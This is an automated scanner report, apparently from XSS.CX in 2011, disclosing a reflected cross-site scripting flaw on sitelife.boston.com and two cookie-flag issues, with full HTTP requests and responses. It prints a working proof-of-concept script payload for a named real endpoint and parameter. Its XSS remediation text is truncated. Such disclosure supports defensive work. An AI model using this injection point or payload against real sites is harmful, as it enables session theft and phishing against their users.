XSS, Cross Site Scripting, CWE-79, CAPEC-86, sitelife.boston.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Tue Mar 29 06:06:18 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler

Loading

1. Cross-site scripting (reflected)

2. Cookie scoped to parent domain

3. Cookie without HttpOnly flag set



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sitelife.boston.com
Path:   /ver1.0/Direct/Jsonp

Issue detail

The value of the cb request parameter is copied into the HTML document as plain text between tags. The payload 20737<script>alert(1)</script>397296cd085 was submitted in the cb parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /ver1.0/Direct/Jsonp?r=%7B%22Requests%22%3A%5B%7B%22DiscoverContentAction%22%3A%7B%22Activity%22%3A%7B%22Activity%22%3A%7B%22Name%22%3A%22Recent%22%7D%7D%2C%22Age%22%3A15%2C%22ContentType%22%3A%7B%22ContentType%22%3A%7B%22Name%22%3A%22Discussion%22%7D%7D%2C%22FilterBySiteOfOrigin%22%3Afalse%2C%22LimitToContributors%22%3A%5B%5D%2C%22MaximumNumberOfDiscoveries%22%3A5%2C%22ParentKeys%22%3A%5B%7B%22ForumKey%22%3A%7B%22Key%22%3A%22Cat%3AReal%20estateForum%3A10621%22%7D%7D%2C%7B%22ForumKey%22%3A%7B%22Key%22%3A%22Cat%3AReal%20estateForum%3A10622%22%7D%7D%2C%7B%22ForumKey%22%3A%7B%22Key%22%3A%22Cat%3AReal%20estateForum%3A9525%22%7D%7D%2C%7B%22ForumKey%22%3A%7B%22Key%22%3A%22Cat%3AReal%20estateForum%3A9526%22%7D%7D%5D%2C%22SearchCategories%22%3Anull%2C%22SearchSections%22%3Anull%7D%7D%5D%2C%22UniqueId%22%3A0%7D&cb=RequestBatch.callbacks.daapiCallback020737<script>alert(1)</script>397296cd085 HTTP/1.1
Host: sitelife.boston.com
Proxy-Connection: keep-alive
Referer: http://www.boston.com/realestate/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801iXt4ADx8I; RMFL=011PrVAnU105z0Y; s_vi=[CS]v1|26B12F7205013BD8-600001032000CCFA[CE]; __qca=P0-1640891764-1298293742855; __utmz=60064574.1298293750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=60064574.1031200570.1298293750.1298293750.1298293750.1; __unam=b6206f2-12e4856c7b4-3e483bb3-1; anonId=e9e75675-22e2-4aa9-9380-30d86642b1dc; ssbusi=2; s_ppv=100; s_cc=true; s_sq=nytbglobe%3D%2526pid%253DReal%252520estate%252520%25257C%252520Buying%252520%25257C%252520Gabriels%252520%252528all%252529%2526pidt%253D1%2526oid%253Dhttp%25253A//www.boston.com/realestate/%2526ot%253DA; bcpage=6

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 17276
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
x-SiteLife-host: l3vm208l3pluckcom
Set-Cookie: SiteLifeHost=l3vm208l3pluckcom; domain=boston.com; path=/
Date: Mon, 28 Mar 2011 19:42:26 GMT

RequestBatch.callbacks.daapiCallback020737<script>alert(1)</script>397296cd085({"ResponseBatch":{"Messages":[{"Message":"ok","MessageTime":"03/28/2011 03:42:26:804 PM"}],"Responses":[{"DiscoverContentAction":{"SearchSections":[{"Name":"all"}],"SearchCategories":[{"Name":"all"}],
...[SNIP]...

2. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://sitelife.boston.com
Path:   /ver1.0/Direct/Jsonp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /ver1.0/Direct/Jsonp?r=%7B%22Requests%22%3A%5B%7B%22DiscoverContentAction%22%3A%7B%22Activity%22%3A%7B%22Activity%22%3A%7B%22Name%22%3A%22Recent%22%7D%7D%2C%22Age%22%3A15%2C%22ContentType%22%3A%7B%22ContentType%22%3A%7B%22Name%22%3A%22Discussion%22%7D%7D%2C%22FilterBySiteOfOrigin%22%3Afalse%2C%22LimitToContributors%22%3A%5B%5D%2C%22MaximumNumberOfDiscoveries%22%3A5%2C%22ParentKeys%22%3A%5B%7B%22ForumKey%22%3A%7B%22Key%22%3A%22Cat%3AReal%20estateForum%3A10621%22%7D%7D%2C%7B%22ForumKey%22%3A%7B%22Key%22%3A%22Cat%3AReal%20estateForum%3A10622%22%7D%7D%2C%7B%22ForumKey%22%3A%7B%22Key%22%3A%22Cat%3AReal%20estateForum%3A9525%22%7D%7D%2C%7B%22ForumKey%22%3A%7B%22Key%22%3A%22Cat%3AReal%20estateForum%3A9526%22%7D%7D%5D%2C%22SearchCategories%22%3Anull%2C%22SearchSections%22%3Anull%7D%7D%5D%2C%22UniqueId%22%3A0%7D&cb=RequestBatch.callbacks.daapiCallback0 HTTP/1.1
Host: sitelife.boston.com
Proxy-Connection: keep-alive
Referer: http://www.boston.com/realestate/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801iXt4ADx8I; RMFL=011PrVAnU105z0Y; s_vi=[CS]v1|26B12F7205013BD8-600001032000CCFA[CE]; __qca=P0-1640891764-1298293742855; __utmz=60064574.1298293750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=60064574.1031200570.1298293750.1298293750.1298293750.1; __unam=b6206f2-12e4856c7b4-3e483bb3-1; anonId=e9e75675-22e2-4aa9-9380-30d86642b1dc; ssbusi=2; s_ppv=100; s_cc=true; s_sq=nytbglobe%3D%2526pid%253DReal%252520estate%252520%25257C%252520Buying%252520%25257C%252520Gabriels%252520%252528all%252529%2526pidt%253D1%2526oid%253Dhttp%25253A//www.boston.com/realestate/%2526ot%253DA; bcpage=6

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 17235
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
x-SiteLife-host: l3vm208l3pluckcom
Set-Cookie: SiteLifeHost=l3vm208l3pluckcom; domain=boston.com; path=/
Date: Mon, 28 Mar 2011 19:41:25 GMT

RequestBatch.callbacks.daapiCallback0({"ResponseBatch":{"Messages":[{"Message":"ok","MessageTime":"03/28/2011 03:41:26:023 PM"}],"Responses":[{"DiscoverContentAction":{"SearchSections":[{"Name":"all"}
...[SNIP]...

3. Cookie without HttpOnly flag set  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://sitelife.boston.com
Path:   /ver1.0/Direct/Jsonp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /ver1.0/Direct/Jsonp?r=%7B%22Requests%22%3A%5B%7B%22DiscoverContentAction%22%3A%7B%22Activity%22%3A%7B%22Activity%22%3A%7B%22Name%22%3A%22Recent%22%7D%7D%2C%22Age%22%3A15%2C%22ContentType%22%3A%7B%22ContentType%22%3A%7B%22Name%22%3A%22Discussion%22%7D%7D%2C%22FilterBySiteOfOrigin%22%3Afalse%2C%22LimitToContributors%22%3A%5B%5D%2C%22MaximumNumberOfDiscoveries%22%3A5%2C%22ParentKeys%22%3A%5B%7B%22ForumKey%22%3A%7B%22Key%22%3A%22Cat%3AReal%20estateForum%3A10621%22%7D%7D%2C%7B%22ForumKey%22%3A%7B%22Key%22%3A%22Cat%3AReal%20estateForum%3A10622%22%7D%7D%2C%7B%22ForumKey%22%3A%7B%22Key%22%3A%22Cat%3AReal%20estateForum%3A9525%22%7D%7D%2C%7B%22ForumKey%22%3A%7B%22Key%22%3A%22Cat%3AReal%20estateForum%3A9526%22%7D%7D%5D%2C%22SearchCategories%22%3Anull%2C%22SearchSections%22%3Anull%7D%7D%5D%2C%22UniqueId%22%3A0%7D&cb=RequestBatch.callbacks.daapiCallback0 HTTP/1.1
Host: sitelife.boston.com
Proxy-Connection: keep-alive
Referer: http://www.boston.com/realestate/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW801iXt4ADx8I; RMFL=011PrVAnU105z0Y; s_vi=[CS]v1|26B12F7205013BD8-600001032000CCFA[CE]; __qca=P0-1640891764-1298293742855; __utmz=60064574.1298293750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=60064574.1031200570.1298293750.1298293750.1298293750.1; __unam=b6206f2-12e4856c7b4-3e483bb3-1; anonId=e9e75675-22e2-4aa9-9380-30d86642b1dc; ssbusi=2; s_ppv=100; s_cc=true; s_sq=nytbglobe%3D%2526pid%253DReal%252520estate%252520%25257C%252520Buying%252520%25257C%252520Gabriels%252520%252528all%252529%2526pidt%253D1%2526oid%253Dhttp%25253A//www.boston.com/realestate/%2526ot%253DA; bcpage=6

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 17235
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
x-SiteLife-host: l3vm208l3pluckcom
Set-Cookie: SiteLifeHost=l3vm208l3pluckcom; domain=boston.com; path=/
Date: Mon, 28 Mar 2011 19:41:25 GMT

RequestBatch.callbacks.daapiCallback0({"ResponseBatch":{"Messages":[{"Message":"ok","MessageTime":"03/28/2011 03:41:26:023 PM"}],"Responses":[{"DiscoverContentAction":{"SearchSections":[{"Name":"all"}
...[SNIP]...

Report generated by XSS.CX at Tue Mar 29 06:06:18 CDT 2011.